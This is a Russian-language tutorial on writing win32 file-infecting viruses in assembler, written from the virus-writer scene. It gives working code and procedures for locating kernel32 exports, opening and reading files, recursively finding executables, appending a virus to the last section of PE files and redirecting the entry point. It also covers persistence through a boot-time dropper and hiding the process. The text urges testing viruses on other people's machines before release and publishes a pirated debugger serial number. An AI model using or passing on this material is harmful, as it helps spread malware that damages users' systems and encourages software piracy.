|
Этот текст предназначается для тех, кто уже освоил ассемблер и вирусы
под DOS, а теперь начал разбираться и с более интересной и перспективной
платформой.
1. Что потребуется
2. Где получить информацию?
3. Отладка и тестирование
4. Отладчики
5. Организация памяти в win32 -- введение
6. PE-файлы
7. Вызов кернеловских функций
8. Работа с файлами
9. Заражение PE-файлов
10. Поиск файлов
11. Резидентность (ring-3)
1. Что потребуется
~~~~~~~~~~~~~~~~~~
Итак, вы возжелали написать вирус под win32, и непременно на ассемблере.
Это правильное решение, учитывая то, что не умея писать вирусы на
ассемблере, совершенно нереально писать хорошие вирусы/черви на C/C++.
Но, ассемблер -- штука сложная, и там, где на C++ надо
пять-десять строк и две минуты -- без последующей отладки,
на ассемблере надо сто строк и пол-часа -- и еще пол-часа на отладку.
Так что от вас потребуется большое желание писать вирусы,
ну и несколько месяцев времени.
Итак, вы должны слегка знать 32-битный ассемблер --
тот, в котором EAX'ы вместо AX'ов.
Перейти сразу с 16-битного асма на 32-битный -- НЕ ПОЛУЧИТСЯ,
а тем более сделать это параллельно с изучением вирусов под win32.
На компьютере, где вы работаете с этим текстом,
потребуется следующий софт:
- Windows 95/98/NT/2000 (рекомендую Win98)
- 32-битный ассемблер TASM 5.0
необходимы файлы:
tasm32.exe, tlink32.exe, import32.lib, *.inc
- отладчик Soft-ICE под Windows (например Soft-Ice 4.00)
сдесь следует проявить настойчивость, и, если айс глючит, то
1. найти более новый/старый айс
2. попробовать другие винды
3. поменять железо
- удобная файловая оболочка и текстовый редактор
Необходимо добиться, чтобы компиляция файла достигалась нажатием
не более одной-двух клавиш.
Тут я рекомендую Dos Navigator, некоторые пользуют Far+MultiEdit.
- нужно, но не необходимо
HIEW
IDA Pro
- _НИКАКИХ_ (выкинуть в помойку):
TurboDebugger, Norton/Volkov Commander, HyperTerminal, etc.
Кроме этого, потребуется такая документация, как:
- WIN32.HLP -- жизненно необходимо;
занимает около 12 MB, я взял из Borland C++,
есть также в бормановском билдере, наверное есть в SDK
ФИШКА:
параметры всех функций описанных для C-вызовов,
на асме надо PUSH-ить в ОБРАТНОМ порядке.
ФИШКА 2:
Данный файл аналогичного содержания можно также взять
из Borland Delphi.
- DDPR.HLP -- необходимо для win9X ring-0/VxD
есть в DDK
- лучше чтоб были SDK и DDK
это такие здоровые архивы с доками, инклюдниками и прочим стаффом,
для написания простых аппликух и драйверов соответственно
- Так же очень неплохая штука это "Описание формата PE" by Hardwisdom,
тем более на русском языке.
2. Где получить информацию?
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Книги
~~~~~
Лично мне известны всего две толковые книги по Win32 и хотя
они уже нехило устарели, но почитать их для общего развития все же
стоит:
Мэтт Питрек "Секреты системного програмирования в Windows95"
Эндрю Шульман "Неофициальная Windows 95" (2-e издание)
Софт
~~~~
http://protools.cjb.net
Интернет
~~~~~~~~
Русскоязычные сайты:
http://z0mbie.cjb.net - Страничка Z0mbie, передовые вирусные технологии
http://topd.tsx.org - Он-лайн журнал Top Device, статьи, ссылки на
сайты с документацией.
http://smf.chat.ru - Сайт группы SMF
http://myallstar.cjb.net - Сайт группы Misdirected Youth
http://vx.netlux.org - Огромный архив журналов, исходников, ссылок.
Западные:
http://www.coderz.net - Море вирмейкерских страничек
http://virus.cyberspace.sk - Вирусный сайт Asterix'a.
IRC:
~~~~
Undernet:
#virus - Англоязычный, но на нем можно встретить и русскоговорящих
#smf - Русскоязычный
EFnet:
#sgww - Русскоязычный
Скажу сразу, что не только получить толковые ответы на свои вопросы,
но и просто пообщаться на вирусные темы на вышеуказанных
каналах удается редко. Других правда нет:)
3. Отладка и тестирование
~~~~~~~~~~~~~~~~~~~~~~~~~
Поговорим от том, как наиболее эффективно производить отладку
и тестирование вирусов, независимо от их написания.
Задача:
1. Взять какой-нибудь простой ЧУЖОЙ win32-вирус в исходниках
рекомендую любой из in-the-wild вирусов (получивших распространение)
2. Откомпилировать, запустить и размножить
3. Пройтись по нему отладчиком
4. Вернуть машину в исходное состояние (убрать вирус)
5. Сделать это за минимальный срок
Научившись проделывать подобное, вы получите необходимый опыт,
который поможет в написании и отладке уже своих вирусов.
В общем-то это ваше домашнее задание, и лучше чтобы вы так поигрались
не с одним, а с двумя-тремя разными вирусами.
Всего есть четыре последовательных уровня отладки готового кода:
1. Тестирование свеженаписанного куска кода -- отдельно от вируса
2. Отладка новой модификации вируса (после добавления свеженаписанного кода)
-- на своей машине; в целях безопасности --
измените все используемые расширения с .EXE
(и/или сигнатуры с PE00) на что-нибудь другое,
как в вирусе так и у файлов-жертв
3. Отладка полностью работающего вируса -- на своей машине
-- для этого требуется:
1. создать на винте отдельный раздел
2. сделать две версии таблицы разделов в MBR'е, таких,
чтобы при основном MBR'е были видны все разделы,
а при "вирусном" MBR'е работал только "вирусный" раздел
3. Написать пару программок прописывающих эти MBR'ы на винт
4. Загрузиться с "вирусного" раздела и установить на нем
восстанавливалку оригинального MBR'а, винды, софт-айс,
ну и что там еще понадобится
5. Загрузиться с нормального раздела и заархивировать весь
вирусный раздел в один файл
6. Написать .BAT-файл, форматирующий (стирающий) вирусный
раздел и распаковывающий туда весь запакованный стафф
(установленные винды, айс, и т.п.)
7. Сделать дискету, на нее записать программу, восстанавливающую
оригинальный MBR
-- В результате для тестирования вируса потребуется:
1. запустить BAT файл и через 5 мин у вас будет готовый к
тестированию раздел
2. записать на "вирусный" раздел подлежащий тестированию вирус
3. запустить программку, прописывающую "вирусный" MBR на винт
4. перезагрузиться
5. размножить/отладить вирус на "вирусном" разделе
6. прописать нормальный MBR обратно (другая програмка)
7. перезагрузиться в "нормальный" раздел
-- все технические приготовления для одного такого тестирования должны
занимать не более 5-10 минут; иначе это будет неэффективно.
Конечно, можно тестировать вирус и на "своем" разделе, а потом
либо написать свой собственный антивирус либо переставить винды;
можно таким же образом восстанавливать "свои" винды.
4. Отладка полностью работающего вируса на чужой машине --
-- этот этап предшествует выпуску вируса вируса в жизнь, но отличается
от него тем, что за машиной будет живой юзер и потом вы сможете
узнать о результате (не от юзера, естественно)
4. Отладчики
~~~~~~~~~~~~
Единственный отладчик, который потребуется -- это Soft-Ice.
При установке Soft-Ice обратите особое внимание на выбор видеоадаптера,
не стоит отчаиваться если вы выбрали из списка предложенных именно ваш
видеоадаптер, но ничего не заработало. В этом случае стоит попробывать
выбрать другие видеоадптеры, возможно с каким-то все заработает.
(Мой Trident 8900, упорно не хотел работать как Standart Trident SVGA,
но отлично заработал как Trident 9440).
Если вы перепробывали все видеоадаптеры, но ничего не заработало,
практически в 100% помогает выбор VESA, правда в этом случае
Soft-Ice будет работать в оконном режиме, а не в полноэкранном.
Как это не удивительно, но для меня составило большую трудность найти
серийный номер для Soft-Ice в интернет. Серийный номер 5103-00009B-9B
работает по крайней мере с Soft-Ice 4.03-4.05
Главное надо помнить, что Soft-Ice в использовании не сложнее турбо
дебагера, а по возможностям намного превосходит его.
Отлаживать вашу программу с помощью Soft-Ice тоже просто,
для этого нужно вставить в начало вашей программы вызов 3-го прерывания,
а в файле winice.dat после строки INIT= добавить i3here on;
Теперь при запуске вашей программу после выполнения int 3 управление
получит Soft-Ice, и вы сможете спокойно ее отлаживать.
Основные команды в нем почти те же самые, что и в досовском DEBUG.EXE,
который обязан знать каждый.
На любую комбинацию команд можно назначить хоткей.
Просмотреть в айсе команды можно написав в командной строке h (или help),
можно также использовать ? в DEBUG.EXE -- это более понятно.
5. Организация памяти в win32 -- введение
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Всего рассказать не смогу, ибо не знаю;
поэтому для начала просмотрите все доки, которые у вас есть на эту тему.
Рекомендую взять описание какого-нибудь процессора (386,486,586),
там будут главы посвященные организации памяти. Лучше нет ничего.
Итак, win32 -- мультизадачная система, и в ней живут много процессов
(программ). И каждый процесс находится в своем собственном 32-битном
виртуальном_адресном_пространстве.
32-битное значит, что всего в этом пространстве 2^32 байт, или 4 гига.
По сути виртуальное_адресное_пространство представляет из себя
набор 4-килобайтных страниц обычной (физической) памяти,
"отображенных" в самые разные "виртуальные" адреса (кратные 4-м килобайтам),
от 0 до 0xFFFFF000.
Те места, куда ничего "не отображено" -- "пустые" (их большинство),
при чтении/записи возникает ошибка.
физ.память, виртуальная память,
пусть будет 16 MB 4 гига
4k-------------------------> 4k выделено, подгружено(==в физ. памяти)
4k свободно :::::: пусто
|> 4k
4k | выделено, выгружено(==в свопе)
| ::::::
:::::: | :::::: пусто (==не выделено)
файл на харде | ::::::
(своп), дохуя MB | 4k выделено, но еще не было доступа
4k------------------------|
::::::
:::::: ::::::
Все 4-килобайтные страницы в 4-гигабайтном пространстве могут быть
ВЫДЕЛЕНЫ (allocate), и тогда соответствующим диапазонам виртуальных адресов
будет соответствовать физическая память, на харде или в памяти.
Страницы могут быть ОСВОБОЖДЕНЫ (free, deallocate), и тогда информация об
отображении теряется, а физическая память "освобождается", то есть
становится СВОБОДНОЙ для последующего использования.
Выделенные страницы могут быть ПОДГРУЖЕНЫ (commit, lock), тогда они будут
"зафиксированы", т.е. окажутся где-то в реальной физической памяти.
Подгруженные страницы могут быть ВЫГРУЖЕНЫ (decommit, unlock),
и тогда физическая память освободится, а данные из нее будут временно
сброшены на диск в своп (swap-file).
Реальная физическая память выделяется не при выделении страниц, а при
первом к ним доступе.
Подгрузка и выгрузка выделенных страниц (swapping) осуществляется
автоматически, "прозрачно", то есть прикладному программеру не надо знать,
где сейчас находится та или иная страница -- на диске или в памяти.
То, что показано на рисунке (справа) -- это
виртуальное_адресное_пространство одного процесса,
а раз процессов таких много,
то и виртуальных_адресных_пространств тоже много.
Информация об отображении реальной памяти в виртуальную
(одного виртуального_адресного_пространства),
вместе со всеми данными хранящимися в этой памяти называется КОНТЕКСТом.
И говорят, что каждый процесс существует в определенном контексте.
В контексте каждого процесса находятся код/данные самого процесса,
стэки, хеап (heap), код/данные ядра системы, используемые
процессом библиотеки (DLL) и прочяя хрень.
Представьте себе тетрадь в клетку, на каждом из листов что-то нарисовано.
Клеточки -- это страницы памяти по 4k. Листы бумаги -- это контексты,
или виртуальные_адресные_пространства.
Благодаря множественности контекстов, разные программы могут существовать
в разных контекстах по одним и тем же виртуальным адресам.
Что где в памяти находится:
смещение
0x00000000 Первый мег -- DOS V86-задача,
под win9X частично можно читать/писать.
0x00200000 Три мега -- всякая хрень, вроде бы нечего там делать.
0x00400000 2044 мега пользовательской памяти, в ней живет процесс
и все его DLL-ки, стэки, хеапы, короче все юзерское дерьмо.
0x80000000 2 гига -- системная память, kernel, ядро нулевого кольца,
под win9X -- еще и VxD-драйвера
Самая главная фишка.
Заключается в том, что для каждой страницы существует так называемый
уровень доступа.
В win32 всего два уровня защиты: ring-3 (юзер) и ring-0 (ядро).
Находясь в ring-0 свершенно наплевать какой уровень доступа у какой
страницы -- все их (подгруженные) можно без проблем читать и писать.
А вот для ring-3 есть несколько вариантов:
1. страницы для чтения и записи (read-write)
2. страницы только для чтения (read-only)
3. хуй (ни читать ни писать в такие страницы нельзя)
4. комбинации вышеперчисленных с испольнябельностью (executable),
а также guard, writecopy и еще хер знает что --
скорее всего ничего их этого вам не встретится.
Идея в том, что кодовые страницы в системе помечаются как read-only,
и поэтому их можно исполнять и читать, а вот писать в них нельзя.
Это в основном страницы кода в kernel'е и в ваших PE-файлах.
Проблема с PE-файлами решается добавленим нужного бита в ObjectTable
при заражении файла, либо через VirtualProtect/WriteProcessMemory;
проблема с kernel'ами и системными хернями решается
(под маздаем) несколько более хитрыми приемами.
6. PE-файлы
~~~~~~~~~~~
PE (Portable Executable) -- это такой формат,
в котором представлены практически все win32 EXE и DLL файлы.
Поэтому с этим форматом мы и будем работать.
Прежде всего, рассчитаны PE EXE/DLL файлы на работу в третьем кольце,
через KERNEL32.DLL и прочие библиотеки.
KERNEL32.DLL и другие библиотеки ЭКПОРТИРУЮТ (отдают) другим PE файлам
кучу процедур, которые по существу и есть win32 api.
Обычные PE файлы ИМПОРТИРУЮТ (принимают) из KERNEL'а и других DLL-ек часть
функций, и через них общаются с системой.
А сам KERNEL32.DLL и прочие работают уже с нулевым кольцом (больше 2-х гиг),
где и происходит основная часть всех действий.
Происходит все это так: в
каждом PE файле есть структуры импорта и/или экспорта
(хотя их там может и не быть), в которых записаны примерно такие вещи:
импорт: я, MAZAFUK.EXE, импортирую из KERNEL32.DLL функцию DeleteFile.
экспорт: я, KERNEL32.DLL, экспортирую функцию DeleteFile.
В результате при запуске MAZAFUK.EXE загрузчик обязан загрузить в
контекст этого процесса KERNEL32.DLL и все остальные требуемые DLL-ки,
а адреса импортируемых из них функций положить в специально
для этого отведенные в MAZAFUCK.EXE дворды.
Так что после загрузки, мазафак будет просто делать CALL'ы
по соответствующим двордам.
При написании PE-EXE файлов, ни о каких импортах/экспортах думать не надо,
эти занимается линкер (tlink32.exe).
Просто указываются следующие вещи:
extern DeleteFileA:PROC ; будет добавлено в импорт
call DeleteFileA ; вызвать импортируемую процедуру
public mazafuk ; будет добавлено в экспорт
mazafuk: ...
Вообще, нам ни импорт ни экспорт как таковые ненужны, потому что вирус
посредством линкера ничего не импортирует и не экспортирует, оно ему
просто не надо; вирус чаще всего находит адреса нужных ему процедур сам.
Рассмотрим PE-файл в памяти. (полное описание формата смотрите отдельно)
Файл этот состоит из следующих частей:
MZ-заголовок
PE-заголовок
таблица секций (==таблица объектов)
секции (несколько штук)
Секции файла -- это такие его участки, в которых хранятся код, данные,
ресурсы, и прочяя хрень.
Нужно понять, что в отличие от, скажем, dos'овского
COM файла, образ PE файлов в памяти не соответствует их образу на диске.
Хотя, в отличие от dos'овских EXE-файлов, все их заголовки
загружаются в память целиком.
Идея в том, что разные секции загружаются в виртуальную память не так,
как они хранятся на диске, то есть
виртуальные_адреса_секций_относительно_начала_файла_в_памяти (RVA)
не соответствуют
физическим_адресам_секций_относительно_начала_файла_на_диске.
Информация об этих несоответствиях и хранится в таблице секций.
В PE-заголовке есть поле ImageBase.
Оно выровнено на 64k, и указывает, начиная с какого
виртуального адреса файл должен быть загружен в память.
MZ-заголовок, PE-заголовок и таблица секций загружаются прямо по этому
адресу, как они есть.
Дальше -- хуже. В соответствии с таблицей секций,
под каждую секцию выделяется память чуть дальше заголовков,
но совсем не обязательно подряд.
То есть если в файле все секции лежат одна за другой,
то после загрузки в память между
секциями могут оказаться куски "неинициализированной" памяти,
за счет того, что в исходнике в конце любой секции
может быть к примеру написано: DB 1000 dup (?)
Исходя из этого, при работе с PE файлами для преобразования виртуального
адреса в физический и обратно, приходится писать специальные процедуры.
7. Вызов кернеловских функций
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Это хитрая фишка, и ее надо отлаживать ОТДЕЛЬНО от всего прочего.
Ваша задача: написать процедуру, которой на вход приходит имя
(или хэш имени) некоторой функции из KERNEL32.DLL,
а на выходе мы получаем адрес этой функции.
Путь лежит через два шага:
1. научиться получать адрес KERNEL32.DLL, и
2. производить анализ кернеловских экспортов
Адрес kernel'а во всех маздаях (win9x) суть BFF70000.
Под winNT этот адрес другой, и, вроде бы,
может быть разным в разных версиях.
Что касается адресов экспортируемых функций, то они разные в каждой версии
и маздая и NT'ей.
При получении управления в PE файл прямо из загрузчика, на стэке
лежит адрес возврата в загрузчик. В маздаях загрузчиком является
KERNEL32.DLL, поэтому сняв со стэка адрес можно узнать адрес
внутри kernel'а.
С другой стороны, делать этого не нужно, так как в маздаях кернел
фиксирован. Другое дело, winNT.
Там, сняв со стэка адрес возврата мы получаем
адрес какой-то там левой DLL-ки, далее выравниваем его на 64k и сканируем
вниз до MZ. Там смотрим в экспорт и проверяем, не kernel ли это.
Если не кернел, то анализируем уже ИМПОРТЫ, и только оттуда узнаем адрес
какой-нибудь кернеловской функции. (она там наверняка будет).
Анализировать импорта - это значит разобрать секцию импорта жертвы
и найти там функции вызываемые из kernel, и уже по адресам
этих функций найти адрес кренеля в памяти.
Существует два простых способа анализа секции импорта:
1. Поиск в секции импорта адреса функции GetModuleHandleA, затем
вызвав ее получить хендл(т.е. адрес) кернеля в памяти.
Тут надо сделать два замечания:
Вполне возможно, что файл секцию импорта которого вы разбираете не
импортирует такой функции, тогда вы "бреетесь".
Можно сразу искать функцию GetProcAddress, и с помощью нее получить
адреса всех нужных вам функций вообще не разбирая секцию экспорта
кернеля. Но вероятность того, что файл импортирует эту функцию, намного
ниже, чем та, что он импортирует GetModuleHandleA.
.386p
.model flat
extrn GetModuleHandleA:proc
.data
imagebase dd 00400000h
Modulename db 'KERNEL32.DLL',0
gmh db 'GetModuleHandleA',0
.code
start:
int 3h ;Для отладки
mov edx,[imagebase]
mov eax,[edx+3ch]
add eax,edx ;EAX - адрес PE заголовка
mov ebx,[eax+80h] ;EBX - адрес первого каталога импорта (RVA)
add ebx,edx ;Выровняли на imagebase
next_module:
mov ecx,[ebx+0ch] ;Указатель на имя модуля из которого осуществляется
;импорт для текущего каталога импорта
cmp 4 ptr ecx,0 ;Последний каталог импорта имеет нулевые значения
jz no_kern_imp
add ecx,edx
cmp 4 ptr [ecx],'NREK' ;Тут по уму еще надо проверить на kernel32
;(имя модуля может быть в нижнем регистре)
jne next
cmp 4 ptr [ecx+4],'23LE'
je kern_imp
next:
add ebx,14h ;Следующий каталог импорта
jmp next_module
kern_imp:
mov eax,[ebx] ;Указатель на таблицу имен импортируемых
;функций из kernel32
add eax,edx
xor ecx,ecx
api_imp:
mov esi,[eax]
cmp 4 ptr esi,0 ;нулевой элемень = конец таблицы имен
jz no_kern_imp
add esi,2 ;Первые два байти в каждой записи таблицы
;имен отведены под хинт-нейм
add esi,edx
mov edi,offset gmh
push ecx
mov ecx,16
repe cmpsb ;Ищем GetModuleHandleA
pop ecx
jz f_gmh
add ecx,4
add eax,4
jmp api_imp ;Следующая запись
f_gmh:
mov eax,[ebx+10h] ;указатель на таблицу адресов импорта
add eax,edx
add eax,ecx ;указатель на адрес соответсвующий требуемой
;нами функции
mov eax,[eax] ;адрес функии
mov ecx,offset Modulename
push ecx
call eax ;Вызываем GetModuleHandleA
;RETRUN: EAX - хэндл (адрес) kernel32.dll
no_kern_imp:
nop
end start
2. Второй способ анализа - найти адрес любой функции импортируемой
из кернеля и выровняв ее на сегмент, получить приблизительный адрес
кренеля, а затем уже сканируя память найти точный адрес кернеля.
.386p
.model flat
extrn GetModuleHandleA:proc
.data
imagebase dd 00400000h
Modulename db 'KERNEL32.DLL',0
gmh db 'GetModuleHandleA',0
.code
start:
int 3h ;Для отладки
mov edx,[imagebase]
mov eax,[edx+3ch]
add eax,edx ;EAX - адрес PE заголовка
mov ebx,[eax+80h] ;EBX - адрес первого каталога импорта (RVA)
add ebx,edx ;Выровняли на imagebase
next_module:
mov ecx,[ebx+0ch] ;Указатель на имя модуля из которого осуществляется
;импорт для текущего каталога импорта
cmp 4 ptr ecx,0 ;Последний каталог импорта имеет нулевые значения
jz no_kern_imp
add ecx,edx
cmp 4 ptr [ecx],'NREK' ;Тут по уму еще надо проверить на kernel32
;(имя модуля может быть в нижнем регистре)
jne next
cmp 4 ptr [ecx+4],'23LE'
je kern_imp
next:
add ebx,14h ;Следующий каталог импорта
jmp next_module
kern_imp:
mov eax,[ebx+10h] ;Указатель на таблицу адресов импортируемых
;функций из kernel32
add eax,edx
mov eax,[eax]
xor ax,ax
...
Как узнать адрес начала PE-файла зная ЛЮБОЙ виртуальный адрес внутри файла?
Поскольку
1. адрес загрузки PE файла выровнен на 64k,
2. практически всю память от начала файла и до конца выделенной
ему области можно читать
3. в самом начале файла лежит MZ-заголовок
то справедлив следующий алгоритм:
1. взять любой виртуальный адрес внутри файла
2. выровнять на 64k
3. если по адресу НЕ байты 'MZ', то вычесть из адреса 64k и повторить 3
...
f_kern32:
cmp 2 ptr [edx],'ZM'
je check_pe
cmp 2 ptr [edx],'MZ'
jne next_seg
check_pe:
cmp 1 ptr [edx+18h],40h ; На всякий случай
jne next_seg
mov esi,[edx+3ch]
add esi,edx
cmp 4 ptr [esi],'EP' ; На всякий случай
jne next_seg
jmp kern32
next_seg:
sub edx,10000h
jmp f_kern32
kern32:
no_kern_imp:
nop
end start
Как анализировать kernel'овские экспорты?
В зависимости от свободного времени, желания, и возможностей,
есть такие пути:
Путь 1, наилучший:
Посмотреть формат PE файлов, ту его часть, где описаны экспорты,
и, получив адрес kernel'а, самому разобрать его таблицу экспортов и найти
адреса требуемых функций.
Путь 2, весьма отстойный:
Юзать директом следующий код:
; input: EDI=имя функции kernel'а (например 'CreateProcessA')
; output: ZF=1, EAX=0 (function not found)
; ZF=0, EAX=function va
get_proc_address: pusha
mov ebx, 0BFF70000h ; get_kernel_base
mov ecx, [ebx+3Ch] ; mz_neptr
mov ecx, [ecx+ebx+78h] ; pe_exporttablerva
jecxz __return_0
add ecx, ebx
xor esi, esi ; current index
__search_cycle: lea edx, [esi*4+ebx]
add edx, [ecx+20h] ; ex_namepointersrva
mov edx, [edx] ; name va
add edx, ebx ; +imagebase
push edi ; compare names
__cmp_cycle: mov al, [edx]
cmp al, [edi]
jne __cmp_done
or al, al
jz __cmp_done
inc edi
inc edx
jmp __cmp_cycle
__cmp_done: pop edi
je __name_found
inc esi ; index++
cmp esi, [ecx+18h] ; ex_numofnamepointers
jb __search_cycle
__return_0: xor eax, eax ; return 0
jmp __return
__name_found: mov edx, [ecx+24h] ; ex_ordinaltablerva
add edx, ebx ; +imagebase
movzx edx, word ptr [edx+esi*2]; edx=current ordinal
mov eax, [ecx+1Ch] ; ex_addresstablerva
add eax, ebx ; +imagebase
mov eax, [eax+edx*4]; eax=current address
add eax, ebx ; +imagebase
__return: mov [esp+7*4], eax ; popa.eax
popa
retn
Глюки тут бывают такие:
1. Если в программе вообще нет импортов, то -- вроде бы kernel подгружаться
не должен -- но kernel это специальная dll'ка, кояя загружена всегда;
взамен этого возникнут проблемы с вызовом кернеловских функций.
Ситуация 'нет импортов' возникает, например, когда во всем сорце
нет ни одной директивы EXTERN, а выход из файла происходит по RET'у.
(такое возможно)
2. Имена функций, иногда в зависимости от того, юзают ли они
в качестве параметров символьные строки (а не только числа),
могут кончаться на -A и на -W.
Постфикс -A (ascii) значит, что строки в ASCII формате,
то есть элементами строк являются БАЙТы, и кончаются они на 0.
Постфикс -W (wide) значит, что элементами строк являются ВОРДы,
это суть так называемые юникодные строки, а вообще это большая лажа,
та как некоторые такие функции кернелом не поддерживаются.
Функции эти (-A/-W) дублируются, то есть если есть одна, то скорее всего
есть и другая; более того, у них одинаковые параметры вызовов, а все
различия только в формате передаваемых им строк.
Бывает, имена функций имеют в конце -Ex, то есть кончаются на Ex, ExA и ExW.
Так вот, постфикс -Ex суть просто часть имени функции.
Такие функции по сравнению со своими упрощенными (без Ex)
вариантами, юзают большее (EXtended) число параметров, а могут упрощенных
вариантов и не иметь. Как правило, внутри "упрощенных" функций управление
передается на их -Ex - варианты.
Так вот, о чем там я.
Говно заключается в том, что в большинстве документаций описаны функции
типа CreateFile, а на самом деле такой функции в kernel'е НЕТУ.
А есть в кернеле две функции: CreateFileA и CreateFileW.
Просто доки расчитаны на C-шный компилятор, который сам разберется, какого
типа строки передаются этой функции, и добавит A или W соответственно.
Поэтому, перед тем как передавать в свою
процедуру_поиска_функций_в_кернеле имя какой-нибудь функции,
убедитесь (гляньте в kernel32.dll) что такая функция
там в точности существует.
8. Работа с файлами
~~~~~~~~~~~~~~~~~~~
Научившись получать из кернела функции, следует написать процедуры
для работы с файлами.
(открытие, получение длины, перемещение указателя, чтение/запись, закрытие)
А затем удостовериться, что они работают.
Что значит написать процедуры?
Не надо их писать, они уже есть в кернеле. Но то, как они вызываются,
оставляет желать лучшего, ибо им надо PUSH-ить кучу левых параметров.
Поэтому рекомендую оформить работу с файлами подобно следующему:
; action: open file for read-write access
; input: EDX=file name
; output: CF=0 -- EAX=handle
; CF=1 -- error
fopen_rw: pusha
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ + FILE_SHARE_WRITE
push GENERIC_READ + GENERIC_WRITE
push edx
call CreateFileA
cmp eax, -1
je error
clc
mov [esp+7*4], eax ; popa.eax
popa
retn
error: stc
popa
retn
Более подробно эти функции приведены на моей страничке в maplib4.zip
И еще одно. Некоторые любят использовать для работы с файлами макросы.
Макросы эти будут вставлять в вирус немерянные куски кода, PUSH-ащие
кучи нулей, и каждый такой макрос будет занимать байт по 30.
Так что для уменьшения длины вируса и упрощения его отладки
лучше юзать процедуры.
Пример считывания файла в память:
push 0
push 80h ; FILE_ATTRIBUTE_NORMAL
push 3 ; 3=OPEN_EXISTING 2=CREATE_ALWAYS
push 0
push 1+2 ; 1=FILE_SHARE_READ 2=FILE_SHARE_WRITE
push 080000000h+40000000h ; GENERIC_READ + GENERIC_WRITE
push offset FileName
call CreateFileA
cmp eax, -1
je __failed
xchg ebx, eax
push 0
push ebx ; handle
call GetFileSize
mov bufsize, eax
push eax ; size
push 0 ; 0=GMEM_FIXED
call GlobalAlloc
mov bufptr, eax
push 0
push offset bytesread ; bytesread
push bufsize ; size
push bufptr ; buf
push ebx ; handle
call ReadFile
push ebx ; handle
call CloseHandle
9. Заражение PE-файлов
~~~~~~~~~~~~~~~~~~~~~~
После того, как мы научились получать из кернела процедуры и
работать с файлами, нашей задачей является заразить какой-нибудь файл.
Заражать поначалу лучше командой INT 3, с последующей передачей управления
на оригинальную точку входа.
Наиболее простым и эффективным методом заражения PE файла является
добавление к его последней секции.
Для этого надо:
проверить физическую и виртуальную длину последней секции:
если физическая длина окажется больше виртуальной, не трогать такой файл;
также не трогайте файл если какая-либо из длин нулевая
старую точку входа сохранить внутрь вируса;
вычислить виртуальный адрес вируса в файле;
это будет
физический_адрес_конца_последней_секции транслированный_в_виртуальный;
добавив к нему VirusEntryPoint-VirusStart записать это дело в
RVA точки входа (внутри PE-заголовка)
по физическому_адресу_конца_последней_секции записать вирусный код
физическую и виртуальную длины вируса округлить по
FileAlignment и ObjectAlignment, взятым из PE-заголовка
физическую длину последней секции -- увеличить на физическую длину вируса
виртуальную длину последней секции -- увеличить на виртуальную длину вируса
поле SizeOfImage внутри PE-заголовка -- установить равным
виртуальному_адресу_начала_последней_секции +
виртуальной_длине_последней_секции
В принципе все.
Кроме всего описанного, надо еще проверять такие вещи,
как не оверлей ли это, не DLL-ка ли это и не нулевая ли точка входа,
Если в файле нет импортов -- не заражать.
Если в файле есть фиксапы, а вирус привязывается к imagebase -- не заражать.
На практике такое заражение проявляется как
1. считывание заголовков файла
2. их анализ
заражение:
3. изменение заголовков и настройка вируса
4. дописывание вируса к концу файла
5. запись измененных заголовков назад в начало файла
Убивать фиксапы можно только если это не DLL-ка;
привязываться к imagebase можно только если отсутствуют (убиты) фиксапы.
Переход на оригинальную точку входа рекомендуется делать
командой JMP (опкод 0xE9).
10. Поиск файлов
~~~~~~~~~~~~~~~
Теперь осталось только научиться искать новые файлы.
Опять же, это надо отлаживать отдельно.
Поиск осуществляется фукциями FindFirstFileA / FindNextFileA / FindClose.
Достаточно вставить нахождение пары файлов и их заражение в начало
нашей программы, и простейший win32-вирус готов.
Вот как примерно выглядит рекурсивная процедура поиска файлов в каталоге:
ff_struc struc ; win32 "searchrec" structure
ff_attr dd ?
ff_time_create dd ?,?
ff_time_lastaccess dd ?,?
ff_time_lastwrite dd ?,?
ff_size_hi dd ?
ff_size dd ?
dd ?,?
ff_fullname db 260 dup (?)
ff_shortname db 14 dup (?)
ends
; subroutine: process_directory
; action: 1. find all files in the current directory
; 2. for each found directory (except "."/"..") recursive call;
; for each found file call process_file
; input: EDI=ff_struc
; EDX=directory name
; output: none
process_directory: pusha
sub esp, 1024 ; место под имя директории
mov esi, edx ; в EDX имя диры
mov edi, esp ; свой буфер под имя
__1: lodsb ; копируем имя в свой буфер
stosb
or al, al
jnz __1
dec edi ; дира должна кончаться на '\'
mov al, '\'
cmp [edi-1], al
je __3
stosb
__3:
mov ebx, edi ; EBX = указатель на файл
mov eax, '*.*' ; ищем: дира\*.*
stosd
mov edi, [esp+1024] ; восстановим EDI
mov eax, esp
push edi ; ff_struc, будет заполнена
push eax ; имя файлов для поиска
call FindFirstFileA
xchg esi, eax ; ESI = хендл поиска
cmp esi, -1 ; че-нить найдено?
je __quit
__cycle: pusha ; добавляем имя файла к дире
lea esi, [edi].ff_fullname
mov edi, ebx
__strcpy: lodsb
stosb
or al, al
jnz __strcpy
popa
mov edx, esp ; EDX = полное найденное имя
test byte ptr [edi].ff_attr, 16 ; дира?
jnz __dir
call process_file ; обработать файл (EDX,EDI)
jmp __next
__dir: lea eax, [edi].ff_fullname
cmp byte ptr [eax], '.' ; skip ./../etc.
je __next
call process_directory ; рекурсивный вызов
__next: push edi ; ff_struc, будет заполнена
push esi ; хендл поиска
call FindNextFileA
or eax, eax ; есть файл?
jnz __cycle
push esi ; ESI = хендл поиска
call FindClose
__quit: add esp, 1024
popa
retn
; input: EDX=full filename
; EDI=ff_struc
process_file: pusha
; ...
popa
retn
11. Резидентность (ring-3)
~~~~~~~~~~~~~~~~~~~~~~~~~~
Резидентность, такая как в DOS'овых TSR-программах, в win32 отсутствует.
Это ясно из того, что система мультизадачная.
Достаточно скрыть программу в памяти, и она будет молча, никому не мешая,
работать, например искать и заражать новые файлы.
Наиболее простой и эффективный способ "резидентности":
Скопировать текущий файл в виндовую диру (GetWindowsDirectoryA, CopyFileA)
под именем DROPPER.EXE, и прописать в системых настройках этот дроппер
как выполняемый при загрузке.
Вообще их всего два, способа резидентности: установка дроппера либо
заражение какого-нибудь всегда загружаемого системного файла.
В противном случае нет гарантии,
что после перезагрузки мы получим управление.
Как скрыть прогу от менюхи по ctrl-alt-del?
Работает только в маздае;
в winNT такой функции как RegisterServiceProcess нет,
поэтому проверяйте, найдена ли она в экспортах.
push 1
push 0
call RegisterServiceProcess
